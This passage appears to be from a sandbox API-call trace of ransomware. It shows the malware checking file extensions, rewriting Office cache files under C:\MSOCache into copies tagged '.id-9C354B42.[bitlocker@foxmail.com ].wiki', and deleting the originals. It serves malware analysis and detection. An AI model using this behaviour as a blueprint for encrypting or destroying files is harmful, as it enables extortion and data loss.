returned 1 [0043.481] SetEndOfFile (hFile=0x178) returned 1 [0043.482] CloseHandle (hObject=0x178) returned 1 [0043.482] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.482] SetEndOfFile (hFile=0x174) returned 1 [0043.483] CloseHandle (hObject=0x174) returned 1 [0043.483] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0043.483] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0043.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.484] lstrlenW (lpString=".doc") returned 4 [0043.484] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.484] lstrlenW (lpString=".docx") returned 5 [0043.484] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.484] lstrlenW (lpString=".pdf") returned 4 [0043.484] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.484] lstrlenW (lpString=".xls") returned 4 [0043.484] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.484] lstrlenW (lpString=".xlsx") returned 5 [0043.484] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.484] lstrlenW (lpString=".ppt") returned 4 [0043.484] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.484] lstrlenW (lpString=".zip") returned 4 [0043.484] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.484] lstrlenW (lpString=".rar") returned 4 [0043.484] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.484] lstrlenW (lpString=".bz2") returned 4 [0043.484] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.484] lstrlenW (lpString=".7z") returned 3 [0043.484] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.484] lstrlenW (lpString=".dbf") returned 4 [0043.484] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.484] lstrlenW (lpString=".1cd") returned 4 [0043.484] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.484] lstrlenW (lpString=".jpg") returned 4 [0043.484] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.485] lstrlenW (lpString=".doc") returned 4 [0043.485] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString=".docx") returned 5 [0043.485] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.485] lstrlenW (lpString=".pdf") returned 4 [0043.485] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString=".xls") returned 4 [0043.485] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString=".xlsx") returned 5 [0043.485] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.485] lstrlenW (lpString=".ppt") returned 4 [0043.485] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.485] lstrlenW (lpString=".zip") returned 4 [0043.485] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.485] lstrlenW (lpString=".rar") returned 4 [0043.485] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString=".bz2") returned 4 [0043.485] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString=".7z") returned 3 [0043.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.485] lstrlenW (lpString=".dbf") returned 4 [0043.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.485] lstrlenW (lpString=".1cd") returned 4 [0043.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0043.485] lstrlenW (lpString=".jpg") returned 4 [0043.485] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.486] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.486] lstrlenW (lpString="Setup.xml") returned 9 [0043.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.486] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1886) returned 1 [0043.486] CloseHandle (hObject=0x174) returned 1 [0043.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0043.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.486] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.486] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.486] GetLastError () returned 0x0 [0043.486] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x75e, lpOverlapped=0x0) returned 1 [0043.488] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x760, lpOverlapped=0x0) returned 1 [0043.489] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.489] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.489] SetEndOfFile (hFile=0x178) returned 1 [0043.489] CloseHandle (hObject=0x178) returned 1 [0043.490] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.490] SetEndOfFile (hFile=0x174) returned 1 [0043.490] CloseHandle (hObject=0x174) returned 1 [0043.490] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0043.491] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0043.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.491] lstrlenW (lpString=".doc") returned 4 [0043.491] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.491] lstrlenW (lpString=".docx") returned 5 [0043.491] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.491] lstrlenW (lpString=".pdf") returned 4 [0043.491] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.491] lstrlenW (lpString=".xls") returned 4 [0043.491] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.491] lstrlenW (lpString=".xlsx") returned 5 [0043.491] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.491] lstrlenW (lpString=".ppt") returned 4 [0043.491] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.491] lstrlenW (lpString=".zip") returned 4 [0043.491] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.491] lstrlenW (lpString=".rar") returned 4 [0043.491] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.491] lstrlenW (lpString=".bz2") returned 4 [0043.491] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.491] lstrlenW (lpString=".7z") returned 3 [0043.491] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.491] lstrlenW (lpString=".dbf") returned 4 [0043.491] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.492] lstrlenW (lpString=".1cd") returned 4 [0043.492] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.492] lstrlenW (lpString=".jpg") returned 4 [0043.492] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.492] lstrlenW (lpString=".doc") returned 4 [0043.492] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString=".docx") returned 5 [0043.492] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.492] lstrlenW (lpString=".pdf") returned 4 [0043.492] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString=".xls") returned 4 [0043.492] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString=".xlsx") returned 5 [0043.492] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.492] lstrlenW (lpString=".ppt") returned 4 [0043.492] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.492] lstrlenW (lpString=".zip") returned 4 [0043.492] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.492] lstrlenW (lpString=".rar") returned 4 [0043.492] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString=".bz2") returned 4 [0043.492] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString=".7z") returned 3 [0043.492] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.492] lstrlenW (lpString=".dbf") returned 4 [0043.492] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.492] lstrlenW (lpString=".1cd") returned 4 [0043.492] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.493] lstrlenW (lpString=".jpg") returned 4 [0043.493] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.493] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.493] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0043.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.494] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1450) returned 1 [0043.494] CloseHandle (hObject=0x174) returned 1 [0043.494] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0043.495] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.495] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.495] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.495] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.495] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.495] GetLastError () returned 0x0 [0043.495] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0043.497] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0043.497] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.497] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0043.498] SetEndOfFile (hFile=0x178) returned 1 [0043.498] CloseHandle (hObject=0x178) returned 1 [0043.498] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.498] SetEndOfFile (hFile=0x174) returned 1 [0043.499] CloseHandle (hObject=0x174) returned 1 [0043.499] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0043.499] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0043.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.500] lstrlenW (lpString=".doc") returned 4 [0043.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString=".docx") returned 5 [0043.500] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.500] lstrlenW (lpString=".pdf") returned 4 [0043.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString=".xls") returned 4 [0043.500] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString=".xlsx") returned 5 [0043.500] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.500] lstrlenW (lpString=".ppt") returned 4 [0043.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.500] lstrlenW (lpString=".zip") returned 4 [0043.500] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.500] lstrlenW (lpString=".rar") returned 4 [0043.500] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString=".bz2") returned 4 [0043.500] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString=".7z") returned 3 [0043.500] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.500] lstrlenW (lpString=".dbf") returned 4 [0043.500] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.500] lstrlenW (lpString=".1cd") returned 4 [0043.500] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.500] lstrlenW (lpString=".jpg") returned 4 [0043.500] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.500] lstrlenW (lpString=".doc") returned 4 [0043.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.501] lstrlenW (lpString=".docx") returned 5 [0043.501] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.501] lstrlenW (lpString=".pdf") returned 4 [0043.501] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.501] lstrlenW (lpString=".xls") returned 4 [0043.501] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.501] lstrlenW (lpString=".xlsx") returned 5 [0043.501] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.501] lstrlenW (lpString=".ppt") returned 4 [0043.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.501] lstrlenW (lpString=".zip") returned 4 [0043.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.501] lstrlenW (lpString=".rar") returned 4 [0043.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.501] lstrlenW (lpString=".bz2") returned 4 [0043.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.501] lstrlenW (lpString=".7z") returned 3 [0043.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.501] lstrlenW (lpString=".dbf") returned 4 [0043.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.501] lstrlenW (lpString=".1cd") returned 4 [0043.501] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0043.501] lstrlenW (lpString=".jpg") returned 4 [0043.501] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.501] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.501] lstrlenW (lpString="Setup.xml") returned 9 [0043.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.502] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1608) returned 1 [0043.502] CloseHandle (hObject=0x174) returned 1 [0043.502] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0043.502] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.502] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.502] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.502] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.502] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.502] GetLastError () returned 0x0 [0043.502] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x648, lpOverlapped=0x0) returned 1 [0043.504] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x650, lpOverlapped=0x0) returned 1 [0043.505] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.505] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, 